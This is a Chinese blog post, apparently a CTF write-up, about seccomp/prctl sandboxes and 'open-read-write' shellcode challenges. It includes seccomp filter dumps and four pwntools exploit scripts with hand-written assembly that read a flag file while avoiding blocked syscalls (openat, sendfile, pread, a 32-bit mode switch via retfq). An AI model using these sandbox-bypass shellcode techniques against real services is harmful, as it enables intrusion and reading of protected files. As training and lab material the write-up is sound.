妈呀普天同庆,终于过了啊啊啊啊啊【尖叫】【阴暗爬行】

# orw 原理

就是有两个函数可以控制函数禁用 prtcl () 和 seccomp ()

# prctl

#include <sys/prctl.h>
int prctl(int option, unsigned long arg2, unsigned long arg3, unsigned long arg4, unsigned long arg5);
// 主要关注 prctl () 函数的第一个参数,也就是 option, 设定的 option 的值的不同导致黑名单不同,介绍 2 个比较重要的 option
// PR_SET_NO_NEW_PRIVS (38) 和 PR_SET_SECCOMP (22)
//option 为 38 的情况
// 此时第二个参数设置为 1,则禁用 execve 系统调用且子进程一样受用
prctl(38, 1LL, 0LL, 0LL, 0LL);
//option 为 22 的情况
// 此时第二个参数为 1,只允许调用 read/write/_exit (not exit_group)/sigreturn 这几个 syscall
// 第二个参数为 2,则为过滤模式,其中对 syscall 的限制通过参数 3 的结构体来自定义过滤规则。
prctl(22, 2LL, &v1);

# seccomp()

__int64 sandbox()
{
  __int64 v1; // [rsp+8h] [rbp-8h]
  // 这里介绍两个重要的宏,SCMP_ACT_ALLOW (0x7fff0000U) SCMP_ACT_KILL ( 0x00000000U)
  //seccomp 初始化,参数为 0 表示白名单模式,参数为 0x7fff0000U 则为黑名单模式
  v1 = seccomp_init(0LL);
  if ( !v1 )
  {
    puts("seccomp error");
    exit(0);
  }
  //seccomp_rule_add 添加规则
  //v1 对应上面初始化的返回值
  // 0x7fff0000 即对应宏 SCMP_ACT_ALLOW
  // 第三个参数代表对应的系统调用号,0-->read/1-->write/2-->open/60-->exit
  // 第四个参数表示是否需要对对应系统调用的参数做出限制以及指示做出限制的个数,传 0 不做任何限制
  seccomp_rule_add(v1, 0x7FFF0000LL, 2LL, 0LL);
  seccomp_rule_add(v1, 0x7FFF0000LL, 0LL, 0LL);
  seccomp_rule_add(v1, 0x7FFF0000LL, 1LL, 0LL);
  seccomp_rule_add(v1, 0x7FFF0000LL, 60LL, 0LL);
  seccomp_rule_add(v1, 0x7FFF0000LL, 231LL, 0LL);
  //seccomp_load-> 将当前 seccomp 过滤器加载到内核中
  if ( seccomp_load(v1) < 0 )
  {
    //seccomp_release-> 释放 seccomp 过滤器状态
    // 但对已经 load 的过滤规则不影响
    seccomp_release(v1);
    puts("seccomp error");
    exit(0);
  }
  return seccomp_release(v1);
}

这两个函数开启沙盒,具体的哪个函数被禁止,可以看反汇编之后的函数,也可以用 $ seccomp-tools dump ./ 文件名

看每一条 if () 语句对应的 goto 哪一行,对应着 kill, 还是 allow

# shellcode 写入哪里,如何执行?



我们发现这里有个 call rdx,进去

发现 call rdx 之后就是我们写的 shellcode!!!
低版本的是用 call rdi 作为索引,之后是 call rdx, 或者有 jmp rsp 也可以

# 整体思路

用 seccomp-tools dump 看哪些函数能用
openopenat 代替,readreadv 代替,writewritev 代替,execveexecveat 代替
read&write 用 sendfile
我们就用 open 打开 flag 文件,read 读取 flag,write 把 flag 写到屏幕上
这个过程我发现尽头还是手搓汇编()
用汇编代码写 open,read,write 的函数
fp = open ("flag") ,read (fp,buf,0x30),write (1,buf,0x30)
open('./flag')
read(3,buf,0x100) 3 是 fd 描述符,表示读文件,0x100 表示我们读多少
write (1,buf,0x100) 1 是 fd 描述符,表示把它写在屏幕上,0x100 表示我们显示多少在屏幕上
手搓的话,应该就是顺着函数调用时寄存器和参数顺序把 open,read,write 用到的系统调用号,描述符,open 就是把 flag 压进去,read,write 都要描述符,和我们想要读写的内存。rdi 应包含文件描述符,rsi 应包含目标缓冲区地址,rdx 应包含要读取的字节数。

函数被禁止了那就找替代品,还是手搓 55

替代品找不着请听下回分解

# shellcode1

seccomp-tools dump 看了一下发现 open,read,write 都可以用,那就可以直接用 pwntools 中的 sh=shellcraft

# wp1

from pwn import*
context(log_level = 'debug', arch = 'amd64', os = 'linux')
r=remote("127.0.0.1",39611)
buf = 0x0404010   #bss段地址
sh=shellcraft.open('./flag')
sh+=shellcraft.read(3,buf,0x100)
sh+=shellcraft.write(1,buf,0x100)
sh=asm(sh)
r.sendline(sh)
r.interactive()

# wp2

from pwn import*
context(os="linux",arch='amd64',log_level='debug')
io=remote("127.0.0.1",45621)
sh='''
xor rax,rax   #清空寄存器
xor rdi,rdi
xor rsi,rsi
xor rdx,rdx
mov rax,2	#把open系统调用号存rax,这样我们就可以调用open
mov rdi,0x67616c662f2e	#0x67616c662f2e(flag)存入rdi,相当于open('./flag')
push rdi
mov rdi,rsp
syscall
mov rax,0	#把read系统调用号存rax,这样我们就可以调用read
mov rdx,0x30 
mov rsi,0x67616c662f2e		#read(3,buf,0x30)
mov rsi,rsp
mov rdi,3
syscall
mov rdi,1
mov rax,1		#把write系统调用号存rax,这样我们就可以调用write
syscall
'''
io.sendline(asm(sh))
io.interactive()

# shellcode2

line CODE JT JF K
=================================
0000: 0x20 0x00 0x00 0x00000004 A = arch
0001: 0x15 0x00 0x08 0xc000003e if (A != ARCH_X86_64) goto 0010
0002: 0x20 0x00 0x00 0x00000000 A = sys_number
0003: 0x35 0x00 0x01 0x40000000 if (A < 0x40000000) goto 0005
0004: 0x15 0x00 0x05 0xffffffff if (A != 0xffffffff) goto 0010
0005: 0x15 0x04 0x00 0x00000001 if (A == write) goto 0010
0006: 0x15 0x03 0x00 0x00000002 if (A == open) goto 0010
0007: 0x15 0x02 0x00 0x00000014 if (A == writev) goto 0010
0008: 0x15 0x01 0x00 0x0000003b if (A == execve) goto 0010
0009: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0010: 0x06 0x00 0x00 0x00000000 return KILL

这些函数都用不了,那我们就用 openat 代替 open,sendfile 代替 read 和 write

from pwn import *
context(log_level='debug', arch = "amd64",os= 'linux',terminal = ['tmux','splitw','-h'])
p = remote("127.0.0.1",33555)
shellcode='''
xor rsi,rsi;
mov rbx,0x67616c662f;
push rbx;
mov rdx,0;   #设置oflag为0
mov rdi,3;   #文件描述符3
mov rsi,rsp
mov rax,257; #openat的系统调用号
syscall;
mov rsi,3;  #in_fd
mov r10,200;
mov rdi,1;   #out_fd
mov rax,40; #sendfile的系统调用号
syscall;
'''
p.send(asm(shellcode))
p.interactive()

https://kylinxin.github.io/2023/11/26/ORW 题型 /#RW - 缺 - O
https://www.jianshu.com/p/754b0a2ae353

# shellcode3

查看沙箱函数,发现只有 write,fstat,read,mmap 可以用
然后发现 fstat 的系统调用号 5 在 32 位的系统下是 open

# 关于 mmap


先用 read 让可以利用的变量结合上汇编语言跳转到 mmap 的地方
然后去写入我们的 orw_shellcode 就可以得到 flag 了
即用 mmap 开一块内存,切换到 32 位,open, 再到 64 位读 flag

# wp

from pwn import *
#p =remote('127.0.0.1', 41893)
p = process("./shellcode3")
context(log_level = 'debug', os = 'linux', arch = 'amd64')
shellcode_read_mmap='''
push 0x40404000
pop rdi
push 0x1000
pop rsi
push 7 
pop rdx
xor r8, r8 
xor r9, r9 
mov r10,33
pop rcx
push 9  
pop rax
syscall
xor rdi, rdi 
push 0x40404000
pop rsi
push 0x70
pop rdx
xor rax, rax
syscall
call rsi
'''
shift_32 = '''
push 0x23
push 0x40404009
retfq
'''
shellcode_open = '''
mov esp, 0x40404100
push 0
push 0x67616c66
mov ebx, esp
xor ecx, ecx
mov eax,5
int 0x80
'''
shift_64 = '''
push 0x33
push 0x40404029
retfq
'''
shellcode_read = '''
mov rdi, 3
mov rsi, 0x40404200
mov rdx, 0x60
xor rax, rax
syscall   
'''
shellcode_write='''
mov rdi, 1
mov rax, 1
syscall
'''
shellcode=asm(shellcode_read_mmap)
gdb.attach(p)
pause()
p.send(shellcode)
payload = asm(shift_32)
payload += asm(shellcode_open)
payload += asm(shift_64)
payload += asm(shellcode_read)
payload += asm(shellcode_write)
pause()
p.send(payload)
p.interactive()

# shellcode4


发现 read,open,readv,sendfile,execve 都不能用
然后我们可以用 openat 代替 open,pread 代替 read

# wp

from pwn import *
context(log_level='debug', arch = "amd64",os= 'linux')
#p =remote('127.0.0.1', 39393)
p = process("./shellcode4")
shellcode = asm(''' 
xor rax,rax
xor rdi,rdi
xor rsi,rsi
xor rdx,rdx
mov rbx,0x67616c66
push rbx
mov rdx,0   #设置oflag为0
mov rdi,-100   #文件描述符3
mov rsi,rsp
mov rax,257 #openat的系统调用号
syscall   
mov rdi,3 
mov rsi, 0x40450        
mov rdx,0x100              
mov rax, 17                
mov r10, 0 
syscall
mov rax, 1     
mov rdi, 1     
syscall
''')
gdb.attach(p)
pause()
p.send(shellcode)
p.interactive()
更新于 阅读次数

请我吃[冰淇淋]~( ̄▽ ̄)~*

Jexy-Kynner 微信支付

微信支付